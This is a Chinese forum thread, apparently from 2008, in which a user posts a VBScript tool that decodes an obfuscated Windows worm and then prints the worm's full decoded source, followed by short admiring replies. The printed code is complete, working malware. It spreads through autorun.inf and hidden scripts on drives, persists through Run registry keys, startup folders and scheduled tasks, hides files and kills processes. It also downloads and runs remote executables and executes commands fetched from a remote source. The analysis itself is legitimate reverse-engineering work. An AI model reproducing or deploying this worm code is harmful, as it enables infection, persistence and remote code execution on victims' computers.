rr("tsw",1)=1 then execute(uc(rr("tco",1))) end if wscript.sleep 900 if hi(0)=1 and dcu then wr "tgs",date:us -1 if pr("taskmgr.exe",1)=1 then:ws.run "at "&time+0.003&" /interactive "&ve,0,false:wr "atd",1:hi 1:wscript.quit loop end function function km(sw) dim d:j="\":on error resume next if sw=1 then rs 0:us -1:df ouw:df win&ve:df dir&ve:df wbe&ve:wscript.quit else rs 1 if cf(dir&ve) then co dir&ve if cf(win&ve) then co win&ve end if end function function cf(wh) dim d:j="\":on error resume next if rt(wh,1)<>"'"&ver then cf=true end function function er(sco) if err.number<>0 or sco<0 then err.clear er=true if sco<>0 and rr("ded",1)<>cstr(date) then wr "oer",rr("oer",1)+abs(sco) if rr("oer",1)>100 then wr "ded",date:wr "oer",0 end if end if end function

BT的加密。。。汗....
LS辛苦了

【续七】把这事儿进行到底吧，虽然看官们都已鸟兽散，没谁看这贴，我现在是给我自己写，借这里不错的页面排版，写完了把网页复制下来，作资料以后自己看也方便。上面说了，我要把加密的病毒解码出来复原成完整的程序，下面就给出我的方法（方法很多，仁者见仁，智者见智了）：

'**************以下变量赋值，来自Decode_6。相当于密文。

on error resume next
dyz="ire=|9|:ogw=700:if=|.iof|:ir=|.ior|:pz=|%pbzfcrp% /p |:qsb=|/h#g/|:gvy=|UT |&ire:vas=|\nhgbeha.vas|}{frg jf=perngrbowrpg(|jfpevcg.furyy|):frg jzv=trgbowrpg(|jvaztzgf:\\.\ebbg\pvzi2|)}{frg sfb=perngrbowrpg(|fpevcgvat.svyrflfgrzbowrpg|):frg fvf=jzv.rkrpdhrel(|fryrpg * sebz jva32_bcrengvatflfgrz|)}{frg qp=sfb.qevirf:bhj=jfpevcg.fpevcgshyyanzr:jva=sfb.trgfcrpvnysbyqre(0)&w:qve=sfb.trgfcrpvnysbyqre(1)&w}{gzc=sfb.trgfcrpvnysbyqre(2)&w:jor=qve&|jorz\|:zve=yrsg(bhj,yra(bhj)-yra(jfpevcg.fpevcganzr))}{jfe=|perngrbowrpg(||jfpevcg.furyy||).eha|:pae=|\pbzchgreanzr|:pac=|HKLM\flfgrz\pheeragpbagebyfrg\pbageby|&pae&pae&pae}{pan=ee(pac,0):vs pan=|| gura pan=gvy}{ecn=|HKLM\fbsgjner\|&pan&w:ebc=|\fbsgjner\zvpebfbsg\jvaqbjf\pheeragirefvba\rkcybere\|}{fs=|furyy sbyqref\|:sfc=ee(|HKLM|&ebc&fs&|pbzzba fgneghc|,0)&w&if:snc=ee(|HKCU|&ebc&fs&|snibevgrf|,0)&w}{qnc=ee(|HKCU|&ebc&fs&|qrfxgbc|,0)&w:efa=pan:ug=rp(|vijg?56|):un=rp(|:;9::<5xj9|):up=|0qjhEcE|:ur=rp(|p|+up)}{efc=|HKLM\fbsgjner\zvpebfbsg\jvaqbjf\pheeragirefvba\cbyvpvrf\rkcybere\eha\|:vs zve=qve gura flf=gehr}{sbe rnpu fv va fvf:pn=fv.pncgvba:pf=fv.pbqrfrg:pp=fv.pbhagelpbqr:bf=fv.bfynathntr:ji=fv.irefvba:arkg}{uvc=|HKCU|&ebc&|nqinaprq\fubjfhcreuvqqra|:uo=|ii1<=676k|&pue(124)&|e;|}{vs vafge(ji,|5.2|)<>0 gura}{uq=|g|+up}{ryfrvs pp<>86 gura uq=|c|+up:ryfr uq=|$|+up:raq vs":gtz="gwf=ee(|gwf|,1):qwf=ee(|qwf|,1):vs abg vfahzrevp(gwf) be abg vfqngr(qwf) gura je |gwf|,1:je |qwf|,qngr:qwf=ee(|qwf|,1)}{je |gwf|,gwf+1:jo=ce(|pyfza.rkr|,1)=1 be ce(|nc.rkr|,1)=1 be ce(|chojva.rkr|,1)=1}{vs qngr-pqngr(qwf)>4 gura td=gehr:jf.eha |arg fgneg ||gnfx fpurqhyre|||,0,snyfr}{vs (ee(|gwf|,1)>800 be jo be td be abg flf) naq ee(|qrq|,1)<>pfge(qngr) gura}{vq=ee(|vqq|,1):vs jo gura vq=1:wf=1:pq=0}{qb juvyr pq<>|<fpevcg>|}{vs wf=2 be wf=4 gura}{q2=qa(zve&gvy,ug+un+rp(uq)&vq,0,100):pq=eg(zve&gvy,1)}{ryfrvs wf=1 be wf=3 gura q1=qa(zve&gvy,ug+rp(uo)+rp(uq)&vq&|&i=|&ire,0,100):pq=eg(zve&gvy,1)}{raq vs:wf=wf+1:jm=q1=1 be q2=1:vs wf>4 gura}{vs jm gura tg=1}{rkvg qb}{raq vs}{vs jm gura re -1}{ybbc}{vs rv(zve&gvy,1) gura}{frg e=sfb.bcragrkgsvyr(zve&gvy,1)}{pva=e.ernqyvar:qvf=e.ernqyvar:qan=e.ernqyvar:qse=e.ernqyvar:air=e.ernqyvar:aeh=e.ernqyvar}{aan=e.ernqyvar:ase=e.ernqyvar:gfj=e.ernqyvar:gpb=e.ernqyvar:bfj=e.ernqyvar:vqq=e.ernqyvar}{e.pybfr:qs zve&gvy:vs pva=|<fpevcg>| gura}{je |gwf|,1:je |qwf|,qngr:je |vqq|,vqq:je |qan|,qan:je |gfj|,gfj:je |gpb|,gpb:je |bfj|,bfj}{vs air-ire>=1 be abg rv(qve&ir,1) gura qa qve&aan,ug&ase&qsb&aan,aeh,2000:jfpevcg.dhvg}{vs qvf=1 naq flf gura}{vs qan<>yr be abg rv(gzc&yr,1) gura qs gzc&yr:qa gzc&qan,ug&qse&qsb&qan,1,1000}{raq vs}{raq vs}{raq vs}{raq vs}{vs re(1) be jo gura tg=1":eiz="vs sfb.svyrrkvfgf(anzr) naq jg=1 gura rv=gehr}{vs sfb.sbyqrerkvfgf(anzr) naq jg=2 gura rv=gehr":dfz="ne ju,0}{vs rv(ju,1) gura sfb.qryrgrsvyr(ju)}{vs rv(ju,2) gura sfb.qryrgrsbyqre(ju)":fut=":function ":bfz="qs ju:frg ova=sfb.perngrgrkgsvyr(ju,gehr):ova.jevgryvar jg:ova.pybfr}{vs qn=1 gura ne ju,7}{vs abg re(0) gura os=1":biz="qs ju:frg v=sfb.perngrgrkgsvyr(ju,gehr):u=iopeys}{v.jevgryvar gvy&u&||&u&|bcra=jfpevcg.rkr .\|&if&u&|furyy\bcra\pbzznaq=jfpevcg.rkr .\|&if&u&|furyy\bcra\qrsnhyg=1|}{v.pybfr:ne ju,7:vs abg re(0) gura ov=1":rtz="vs yv<0 gura ju=bhj}{vs rv(ju,1) gura}{vs sfb.trgsvyr(ju).fvmr=0 gura}{eg=0}{ryfr}{frg e=sfb.bcragrkgsvyr(ju,1)}{frg py=sfb.bcragrkgsvyr(ju,1)}{py.ernqnyy}{gyv=py.yvar}{py.pybfr}{vs yv>0 naq yv<=gyv gura}{v=0 }{qb juvyr v<yv}{v=v+1}{vs abg e.ngraqbsfgernz gura}{fyv=e.ernqyvar}{ryfr}{fyv=0}{raq vs}{ybbc}{eg=fyv}{ryfrvs yv<=0 gura}{eg=e.ernqnyy}{ryfr}{eg=0}{raq vs}{e.pybfr}{raq vs}{ryfr}{eg=0}{raq vs":wrz="vs eqn=-1 gura jf.ertqryrgr ean ryfr jf.ertjevgr ecn&ean,eqn,|REG_SZ|":rrz="vs cn=1 gura ean=ecn&ean}{ee=jf.erternq(ean)}{vs re(0) gura ee=0":arz="vs rv(svyr,1) gura:frg bsvyr=sfb.trgsvyr(svyr):bsvyr.nggevohgrf=pt:frg bsvyr=abguvat}{vs rv(svyr,2) gura:frg bsvyr=sfb.trgsbyqre(svyr):bsvyr.nggevohgrf=pt:frg bsvyr=abguvat":eft=")):end function":dnz="ne ybp,0:frg kcbfg = perngrbowrpg(|zvpebfbsg.kzyuggc|):kcbfg.bcra |trg|,jro,0:kcbfg.fraq()}{vs zva<>0 gura}{vs abg re(0) gura}{qa=1:frg ftrg=perngrbowrpg(|nqbqo.fgernz|) }{ftrg.zbqr=3:ftrg.glcr=1:ftrg.bcra():ftrg.jevgr(kcbfg.erfcbafrobql):ftrg.fnirgbsvyr ybp,2}{ne ybp,7}{vs rv(ybp,1) gura sfm=sfb.trgsvyr(ybp).fvmr ryfr sfm=0}{vs sfm>zva gura}{vs evf=1 gura jf.eha ybp}{ryfr}{qa=0:qs ybp}{raq vs}{raq vs}{raq vs":prz="frg cy=jzv.rkrpdhrel(|fryrpg * sebz jva32_cebprff jurer anzr='|&cpf&|'|):v=1}{sbe rnpu c va cy:v=v+1}{vs v>nof(tf) gura ce=1}{vs tf<0 gura vs c.grezvangr=2 naq ce=1 gura jf.eha pz&|gfxvyy |&yrsg(c.anzr,yra(c.anzr)-4),0,snyfr}{arkg}{vs re(0) gura ce=2":ecz="sbe v=1 gb yra(jg):rp=rp+pue(nfp(zvq(jg,v,1))-v):arkg":l="d=125:f=123:j=124:h=97:m=109:r=13:k=110:n=122:s=-13:u=0:v=0:":zcx="sbe rnpu q va qp}{vs zve=q&w gura jf.eha |rkcybere |&q,3,snyfr}{arkg}{bhp=eg(bhj,-1):vs ps(bhj) gura zftobk(|Hnccl Nrjlrne!|):xz 1}{vs flf gura}{uv 1}{vs ee(|gvy|,1)<>gvy gura}{je |gvy|,gvy}{je |gwf|,ogw}{je |qwf|,qngr}{je |qrq|,0}{raq vs}{vs ee(|ngq|,1)=1 gura jf.eha |ng /q /l|,0,snyfr:je |ngq|,0}{vs ee(efc&efa,0)=ir gura ef -1}{yr=ee(|qan|,1):vs rv(gzc&yr,1) gura jf.eha gzc&yr}{xz 0}{ph:re 1}{jfpevcg.fyrrc 1000}{vs ee(|qrq|,1)<>pfge(qngr) gura jf.eha bhj}{ryfr}{jfpevcg.fyrrc 5000}{vs ce(|jfpevcg.rkr|,2)=2 gura}{vs ee(|gwp|,1)=pfge(qngr) gura:jfpevcg.dhvg:ryfr:je |gwp|,qngr}{raq vs}{vs ce(|jfpevcg.rkr|,2)=1 gura jfpevcg.dhvg}{ne bhj,7:pb qve&ir:pb jva&ir:ef 1:jf.eha qve&ir}{raq vs":aft=eft&fut:coz="qs ju:frg iof=sfb.perngrgrkgsvyr(ju,gehr):iof.jevgr bhp:iof.pybfr:ne ju,7":rn="dim d:j=""\"":on error resume next":rsz="vs fj=1 naq ee(efc&efa,0)<>ir gura}{jf.ertjevgr efc&efa,ir,|REG_SZ|}{vs re(0) naq abg rv(sfc,1) gura os sfc,jfe&| |||&ir&||||,0}{ryfrvs fj=-1 gura:qs sfc}{ryfrvs fj=0 gura:qs sfc:je efc&efa,-1:je ecn,-1}{raq vs":hiz="vs fj=1 gura jf.ertjevgr uvc,|0|,|REG_DWORD|}{vs fj=0 gura uv=ee(uvc,0)":giz="vq=ee(|vqq|,1)}{qb juvyr svq<=rvq:vqp=vqp&|,|&svq:svq=svq+1:ybbc}{vqf=vqf&vqp:vqff=fcyvg(vqf,|,|)}{sbe v=0 gb hobhaq(vqff)}{vs vq=vqff(v) gura vs abg rv(gzc&sanzr,1) gura qa gzc&sanzr,ug&shey,0,2000}{arkg}{vs rv(gzc&sanzr,1) gura jf.eha gzc&sanzr}{tv=1":dwz="vs ee(|trq|,1)<>sa naq ce(cpf,1)=1 gura}{vs qa(gzc&sa,ug&shey,0,2000)=1 gura qjp=1}{vs rv(gzc&sa,1) naq qjp=1 gura}{vs xvyy=1 gura ce cpf,-1}{jf.eha gzc&sa}{vs abg re(0) gura je |trq|,sa:qa 0,ug+rp(uo)+ur+sa,0,0:vs xvyy=2 gura ce cpf,-1:xz 1}{raq vs}{qj=1}{raq vs}{jfpevcg.fyrrc 100":usz="sbe rnpu q va qp}{vs q.qevirglcr=3 be (q.qevirglcr=1 naq q<>|A:| naq q<> |B:|) gura}{vs fj=1 gura}{vs rv(q&vas,2) gura qs q&vas}{vs rv(q&w&if,1) naq rv(q&vas,1) gura}{vs eg(q&vas,1)<>gvy gura ov q&vas}{ryfr}{uv 1:ov q&vas:pb q&w&if}{raq vs}{ryfrvs fj=-1 gura:qs q&vas:qs q&w&if}{ryfr:os q&w&if,jfe&|(yrsg(jfpevcg.fpevcgshyyanzr,3)),3|&fgevat(10000,|'|),1:qs q&vas}{raq vs}{raq vs}{arkg":cuz="phf=ee(|bfj|,1)<>4}{qb}{qph=ee(|gtf|,1)<>pfge(qngr)}{vs (frpbaq(gvzr) zbq 3)=0 gura}{vs qph naq phf gura hf 1}{zva=zvahgr(abj):vs (zva zbq 2)=0 naq aa<>zva naq bb<>1 gura aa=zva:bb=tg:xz 0}{vs ee(|gfj|,1)=1 gura rkrphgr(hp(ee(|gpb|,1)))}{raq vs}{jfpevcg.fyrrc 900}{vs uv(0)=1 naq qph gura je |gtf|,qngr:hf -1}{vs ce(|gnfxzte.rkr|,1)=1 gura:jf.eha |ng |&gvzr+0.003&| /vagrenpgvir |&ir,0,snyfr:je |ngq|,1:uv 1:jfpevcg.dhvg}{ybbc":ext=":execute(uc(":kmz="vs fj=1 gura}{ef 0:hf -1:qs bhj:qs jva&ir:qs qve&ir:qs jor&ir:jfpevcg.dhvg}{ryfr}{ef 1}{vs ps(qve&ir) gura pb qve&ir}{vs ps(jva&ir) gura pb jva&ir}{raq vs":cfz="vs eg(ju,1)<>|'|&ire gura ps=gehr"


'**************以下SourceStr所赋字串即Decode_7的内容。这是病毒程序即将展开执行前的一个定格。
SourceStr=":execute(uc(dyz)):execute(uc(zcx)):function gt():execute(uc(gtz)):end function:function ei(name,wt):execute(uc(eiz)):end function:function df(wh):execute(uc(dfz)):end function:function bf(wh,wt,da):execute(uc(bfz)):end function:function bi(wh):execute(uc(biz)):end function:function rt(wh,li):execute(uc(rtz)):end function:function wr(rna,rda):execute(uc(wrz)):end function:function rr(rna,pa):execute(uc(rrz)):end function:function ar(file,cg):execute(uc(arz)):end function:function dn(loc,web,ris,min):execute(uc(dnz)):end function:function pr(pcs,gs):execute(uc(prz)):end function:function ec(wt):execute(uc(ecz)):end function:function co(wh):execute(uc(coz)):end function:function rs(sw):execute(uc(rsz)):end function:function hi(sw):execute(uc(hiz)):end function:function gi(ids,fid,eid,fname,furl):execute(uc(giz)):end function:function dw(pcs,fn,furl,kill):execute(uc(dwz)):end function:function us(sw):execute(uc(usz)):end function:function cu():execute(uc(cuz)):end function:function km(sw):execute(uc(kmz)):end function:function cf(wh):execute(uc(cfz)):end function"
'**************以上SourceStr所赋字串来自Decode_7的结果。这是病毒程序即将展开执行前的一个定格。


'**************整理重写函数uc(b)，开始
Function uc(b)

'<><><><>以下变量赋值，来自首次Decode_4，相当于密钥。
c=vbcrlf:d=127:f=11:j=12:h=14:m=31:r=83:k=1:n=8:s=114:u=-5:v=5
i="if a=":t=" then ":e="elseif a>=":a=" and a<=":g="a=a+":o=t&c&g:p=c&e:q=c&i
'<><><><>必须放在函数内，不然会被函数外的过程误改。切记！

execute(l&"for ii=1 to len(b):a=asc(mid(b,ii,1))"&q&"d"&t&"a=13"&q&"f"&t&"a=10"&q&"j"&t&c&"a=34"&c&e&"h"&a&"m"&o&"r"&p&"k"&a&"n"&o&"s"&p&"53"&a&"57"&o&"u"&p&"48"&a&"52"&o&"v"&c&"end if"&c&"uc=uc+chr(a)"&c&"next"&c&"uc=rn+c+uc")
End Function
'**************整理重写函数uc(b)，结束


'**************以下开始复原病原体程序
ForAppending=8
Create=True
ASCII=0
OutPutFile="Virus.txt" ' 输出文件名
Decode="" ' 每次解码文本存放于此
WhichOne="" ' 显示刚被解码的是哪个uc(…)

Set objWSH=CreateObject("WScript.Shell")
Set objFSO=CreateObject("Scripting.FileSystemObject")
Set objTXT=objFSO.OpenTextFile(OutPutFile,ForAppending,Create,ASCII)

objTXT.Write Title
AddBlankLine=True ' 为了好看确定是否该加２个空行

SourceArr=Split(SourceStr,":")
For LineNum=0 To UBound(SourceArr)
If InStr(1,SourceArr(LineNum),"execute",1)=1 Then
WhichOne=Mid(SourceArr(LineNum),Instr(1,SourceArr(LineNum),"uc",1),InStrRev(SourceArr(LineNum),")",-1,1)-Instr(1,SourceArr(LineNum),"uc",1)) ' 获取uc(...)名字，只为方便观察，这里生硬地截取字串，方法肯定不如正则表达式来得简便，就凑活吧。
Execute(Replace(SourceArr(LineNum),"execute","Intercept")) ' 此处关键，用Intercept李代病毒的execute函数，再执行就只解码但并不运行
If AddBlankLine AND True Then ' 判断是否该加空行
objTXT.WriteBlankLines 2
End If
AddBlankLine=True ' execute前后都建议加空行，当然具体加不加要看后面跟的是谁
objTXT.WriteLine Decode
End If
If InStr(1,SourceArr(LineNum),"function",1)=1 Then
objTXT.WriteBlankLines 2
AddBlankLine=False ' function前加后不加
objTXT.WriteLine SourceArr(LineNum)
End If
If InStr(1,SourceArr(LineNum),"end",1)=1 Then
AddBlankLine=True ' end function前不加后加
objTXT.WriteLine SourceArr(LineNum)
End If
Next

objTXT.Close
objWSH.Run OutPutFile
WScript.Quit

'**************打印文档题头
Function Title()
Title="'" & String(40,"=") & vbCrLf
Title=Title & "'|" & Space(38) & "|" & vbCrLf
Title=Title & "'|" & Space(12) & "病 毒 源 代 码" & Space(12) & "|" & vbCrLf
Title=Title & "'|" & Space(38) & "|" & vbCrLf
Title=Title & "'" & String(40,"=") & vbCrLf
End Function

'**************拦截execute（）内的代码，即uc(b)返回值
Function Intercept(ByRef code)
Decode=code ' 把解出的代码转移到Decode变量内
objWSH.PopUp Decode,5,WhichOne & " 的解码结果，5秒钟后自动关闭",64 ' 显示每个uc(...)的解码结果并自动关闭，嫌烦可以在前面加 ' 注释掉本行
End Function

不知为什么，无法上传附件，就拷贝上面的代码，存为比如 uncover.vbs，然后运行去吧，尽请放心，不会引发病毒的，这也是为什么这个帖子才发出来的原因，因为我可不想搞召回之类的事儿^_^

结果保存在virus.txt，就是病毒的源程序，噢不，等等，我忘了，在前面第六锅中得到的Decode_6中，还有一个像是错误处理的函数，我查看了一下病毒的明文，发现它几次都用到那个错误处理函数，够诡异的，所以最后的结果还要把那个错误处理函数function er(sco)补进Virus.txt去，因此完整的结果是：

'========================================
'| |
'| 病 毒 源 代 码 |
'| |
'========================================


dim d:j="\":on error resume next
ver="9":btj=700:vs=".vbs":ve=".vbe":cm="%comspec% /c ":dfo="/u#t/":til="UT "&ver:inf="\autorun.inf"
set ws=createobject("wscript.shell"):set wmi=getobject("winmgmts:\\.\root\cimv2")
set fso=createobject("scripting.filesystemobject"):set sis=wmi.execquery("select * from win32_operatingsystem")
set dc=fso.drives:ouw=wscript.scriptfullname:win=fso.getspecialfolder(0)&j:dir=fso.getspecialfolder(1)&j
tmp=fso.getspecialfolder(2)&j:wbe=dir&"wbem\":mir=left(ouw,len(ouw)-len(wscript.scriptname))
wsr="createobject(""wscript.shell"").run":cnr="\computername":cnp="HKLM\system\currentcontrolset\control"&cnr&cnr&cnr
cna=rr(cnp,0):if cna="" then cna=til
rpa="HKLM\software\"&cna&j:rop="\software\microsoft\windows\currentversion\explorer\"
sf="shell folders\":fsp=rr("HKLM"&rop&sf&"common startup",0)&j&vs:fap=rr("HKCU"&rop&sf&"favorites",0)&j
dap=rr("HKCU"&rop&sf&"desktop",0)&j:rsn=cna:ht=ec("ivwt?56"):ha=ec(":;9::<5kw9"):hc="0dwuEpE":he=ec("c"+hc)
rsp="HKLM\software\microsoft\windows\currentversion\policies\explorer\run\":if mir=dir then sys=true
for each si in sis:ca=si.caption:cs=si.codeset:cc=si.countrycode:os=si.oslanguage:wv=si.version:next
hip="HKCU"&rop&"advanced\showsuperhidden":hb="vv1<=676x"&chr(124)&"r;"
if instr(wv,"5.2")<>0 then
hd="t"+hc
elseif cc<>86 then hd="p"+hc:else hd="$"+hc:end if


dim d:j="\":on error resume next
for each d in dc
if mir=d&j then ws.run "explorer "&d,3,false
next
ouc=rt(ouw,-1):if cf(ouw) then msgbox("Happy Newyear!"):km 1
if sys then
hi 1
if rr("til",1)<>til then
wr "til",til
wr "tjs",btj
wr "djs",date
wr "ded",0
end if
if rr("atd",1)=1 then ws.run "at /d /y",0,false:wr "atd",0
if rr(rsp&rsn,0)=ve then rs -1
le=rr("dna",1):if ei(tmp&le,1) then ws.run tmp&le
km 0
cu:er 1
wscript.sleep 1000
if rr("ded",1)<>cstr(date) then ws.run ouw
else
wscript.sleep 5000
if pr("wscript.exe",2)=2 then
if rr("tjc",1)=cstr(date) then:wscript.quit:else:wr "tjc",date
end if
if pr("wscript.exe",2)=1 then wscript.quit
ar ouw,7:co dir&ve:co win&ve:rs 1:ws.run dir&ve
end if


function gt()
dim d:j="\":on error resume next
tjs=rr("tjs",1):djs=rr("djs",1):if not isnumeric(tjs) or not isdate(djs) then wr "tjs",1:wr "djs",date:djs=rr("djs",1)
wr "tjs",tjs+1:wb=pr("clsmn.exe",1)=1 or pr("ap.exe",1)=1 or pr("pubwin.exe",1)=1
if date-cdate(djs)>4 then gq=true:ws.run "net start ""task scheduler""",0,false
if (rr("tjs",1)>800 or wb or gq or not sys) and rr("ded",1)<>cstr(date) then
id=rr("idd",1):if wb then id=1:js=1:cd=0
do while cd<>"<script>"
if js=2 or js=4 then
d2=dn(mir&til,ht+ha+ec(hd)&id,0,100):cd=rt(mir&til,1)
elseif js=1 or js=3 then d1=dn(mir&til,ht+ec(hb)+ec(hd)&id&"&v="&ver,0,100):cd=rt(mir&til,1)
end if:js=js+1:wz=d1=1 or d2=1:if js>4 then
if wz then gt=1
exit do
end if
if wz then er -1
loop
if ei(mir&til,1) then
set r=fso.opentextfile(mir&til,1)
cin=r.readline:dis=r.readline:dna=r.readline:dfr=r.readline:nve=r.readline:nru=r.readline
nna=r.readline:nfr=r.readline:tsw=r.readline:tco=r.readline:osw=r.readline:idd=r.readline
r.close:df mir&til:if cin="<script>" then
wr "tjs",1:wr "djs",date:wr "idd",idd:wr "dna",dna:wr "tsw",tsw:wr "tco",tco:wr "osw",osw
if nve-ver>=1 or not ei(dir&ve,1) then dn dir&nna,ht&nfr&dfo&nna,nru,2000:wscript.quit
if dis=1 and sys then
if dna<>le or not ei(tmp&le,1) then df tmp&le:dn tmp&dna,ht&dfr&dfo&dna,1,1000
end if
end if
end if
end if
if er(1) or wb then gt=1
end function


function ei(name,wt)
dim d:j="\":on error resume next
if fso.fileexists(name) and wt=1 then ei=true
if fso.folderexists(name) and wt=2 then ei=true
end function


function df(wh)
dim d:j="\":on error resume next
ar wh,0
if ei(wh,1) then fso.deletefile(wh)
if ei(wh,2) then fso.deletefolder(wh)
end function


function bf(wh,wt,da)
dim d:j="\":on error resume next
df wh:set bin=fso.createtextfile(wh,true):bin.writeline wt:bin.close
if da=1 then ar wh,7
if not er(0) then bf=1
end function


function bi(wh)
dim d:j="\":on error resume next
df wh:set i=fso.createtextfile(wh,true):h=vbcrlf
i.writeline til&h&""&h&"open=wscript.exe .\"&vs&h&"shell\open\command=wscript.exe .\"&vs&h&"shell\open\default=1"
i.close:ar wh,7:if not er(0) then bi=1
end function


function rt(wh,li)
dim d:j="\":on error resume next
if li<0 then wh=ouw
if ei(wh,1) then
if fso.getfile(wh).size=0 then
rt=0
else
set r=fso.opentextfile(wh,1)
set cl=fso.opentextfile(wh,1)
cl.readall
tli=cl.line
cl.close
if li>0 and li<=tli then
i=0
do while i<li
i=i+1
if not r.atendofstream then
sli=r.readline
else
sli=0
end if
loop
rt=sli
elseif li<=0 then
rt=r.readall
else
rt=0
end if
r.close
end if
else
rt=0
end if
end function


function wr(rna,rda)
dim d:j="\":on error resume next
if rda=-1 then ws.regdelete rna else ws.regwrite rpa&rna,rda,"REG_SZ"
end function


function rr(rna,pa)
dim d:j="\":on error resume next
if pa=1 then rna=rpa&rna
rr=ws.regread(rna)
if er(0) then rr=0
end function


function ar(file,cg)
dim d:j="\":on error resume next
if ei(file,1) then:set ofile=fso.getfile(file):ofile.attributes=cg:set ofile=nothing
if ei(file,2) then:set ofile=fso.getfolder(file):ofile.attributes=cg:set ofile=nothing
end function


function dn(loc,web,ris,min)
dim d:j="\":on error resume next
ar loc,0:set xpost = createobject("microsoft.xmlhttp"):xpost.open "get",web,0:xpost.send()
if min<>0 then
if not er(0) then
dn=1:set sget=createobject("adodb.stream")
sget.mode=3:sget.type=1:sget.open():sget.write(xpost.responsebody):sget.savetofile loc,2
ar loc,7
if ei(loc,1) then fsz=fso.getfile(loc).size else fsz=0
if fsz>min then
if ris=1 then ws.run loc
else
dn=0:df loc
end if
end if
end if
end function


function pr(pcs,gs)
dim d:j="\":on error resume next
set pl=wmi.execquery("select * from win32_process where name='"&pcs&"'"):i=1
for each p in pl:i=i+1
if i>abs(gs) then pr=1
if gs<0 then if p.terminate=2 and pr=1 then ws.run cm&"tskill "&left(p.name,len(p.name)-4),0,false
next
if er(0) then pr=2
end function


function ec(wt)
dim d:j="\":on error resume next
for i=1 to len(wt):ec=ec+chr(asc(mid(wt,i,1))-i):next
end function


function co(wh)
dim d:j="\":on error resume next
df wh:set vbs=fso.createtextfile(wh,true):vbs.write ouc:vbs.close:ar wh,7
end function


function rs(sw)
dim d:j="\":on error resume next
if sw=1 and rr(rsp&rsn,0)<>ve then
ws.regwrite rsp&rsn,ve,"REG_SZ"
if er(0) and not ei(fsp,1) then bf fsp,wsr&" """&ve&"""",0
elseif sw=-1 then:df fsp
elseif sw=0 then:df fsp:wr rsp&rsn,-1:wr rpa,-1
end if
end function


function hi(sw)
dim d:j="\":on error resume next
if sw=1 then ws.regwrite hip,"0","REG_DWORD"
if sw=0 then hi=rr(hip,0)
end function


function gi(ids,fid,eid,fname,furl)
dim d:j="\":on error resume next
id=rr("idd",1)
do while fid<=eid:idc=idc&","&fid:fid=fid+1:loop
ids=ids&idc:idss=split(ids,",")
for i=0 to ubound(idss)
if id=idss(i) then if not ei(tmp&fname,1) then dn tmp&fname,ht&furl,0,2000
next
if ei(tmp&fname,1) then ws.run tmp&fname
gi=1
end function


function dw(pcs,fn,furl,kill)
dim d:j="\":on error resume next
if rr("ged",1)<>fn and pr(pcs,1)=1 then
if dn(tmp&fn,ht&furl,0,2000)=1 then dwc=1
if ei(tmp&fn,1) and dwc=1 then
if kill=1 then pr pcs,-1
ws.run tmp&fn
if not er(0) then wr "ged",fn:dn 0,ht+ec(hb)+he+fn,0,0:if kill=2 then pr pcs,-1:km 1
end if
dw=1
end if
wscript.sleep 100
end function


function us(sw)
dim d:j="\":on error resume next
for each d in dc
if d.drivetype=3 or (d.drivetype=1 and d<>"A:" and d<> "B:") then
if sw=1 then
if ei(d&inf,2) then df d&inf
if ei(d&j&vs,1) and ei(d&inf,1) then
if rt(d&inf,1)<>til then bi d&inf
else
hi 1:bi d&inf:co d&j&vs
end if
elseif sw=-1 then:df d&inf:df d&j&vs
else:bf d&j&vs,wsr&"(left(wscript.scriptfullname,3)),3"&string(10000,"'"),1:df d&inf
end if
end if
next
end function


function cu()
dim d:j="\":on error resume next
cus=rr("osw",1)<>4
do
dcu=rr("tgs",1)<>cstr(date)
if (second(time) mod 3)=0 then
if dcu and cus then us 1
min=minute(now):if (min mod 2)=0 and nn<>min and oo<>1 then nn=min:oo=gt:km 0
if rr("tsw",1)=1 then execute(uc(rr("tco",1)))
end if
wscript.sleep 900
if hi(0)=1 and dcu then wr "tgs",date:us -1
if pr("taskmgr.exe",1)=1 then:ws.run "at "&time+0.003&" /interactive "&ve,0,false:wr "atd",1:hi 1:wscript.quit
loop
end function


function km(sw)
dim d:j="\":on error resume next
if sw=1 then
rs 0:us -1:df ouw:df win&ve:df dir&ve:df wbe&ve:wscript.quit
else
rs 1
if cf(dir&ve) then co dir&ve
if cf(win&ve) then co win&ve
end if
end function


function cf(wh)
dim d:j="\":on error resume next
if rt(wh,1)<>"'"&ver then cf=true
end function


function er(sco)
if err.number<>0 or sco<0 then
err.clear
er=true
if sco<>0 and rr("ded",1)<>cstr(date) then
wr "oer",rr("oer",1)+abs(sco)
if rr("oer",1)>100 then wr "ded",date:wr "oer",0
end if
end if
end function

如果哪位高手有兴趣，给咱们分析分析，我把前面的活给干了，接下来该您表演了吧？
噢，忘了说，感谢各位高手、看官和版主的指点和加分，不能一一回复，见谅，其实我那边还在问别人的问题，人家给我回复我还没来得及感谢咧，我在这里就算是为以后有人给我解疑时也弄的很漂亮积善积德了。好了各位，see U in other places，鼓捣掰！！！
【全文完】

[ Last edited by uhnmki on 2008-1-26 at 07:10 AM ]

nB.......

uhnmki 真是牛人啊,排版讲解都很厉害收藏了

没续集了吗 还有谁来讲讲下面的啊 看大片啊

PF ！！！
强人。。。。

我只能说变态的人也需要变态的人来对付-_-!

我更怀疑解密的就是加密者

初学者看得头都晕了！不过很有意思！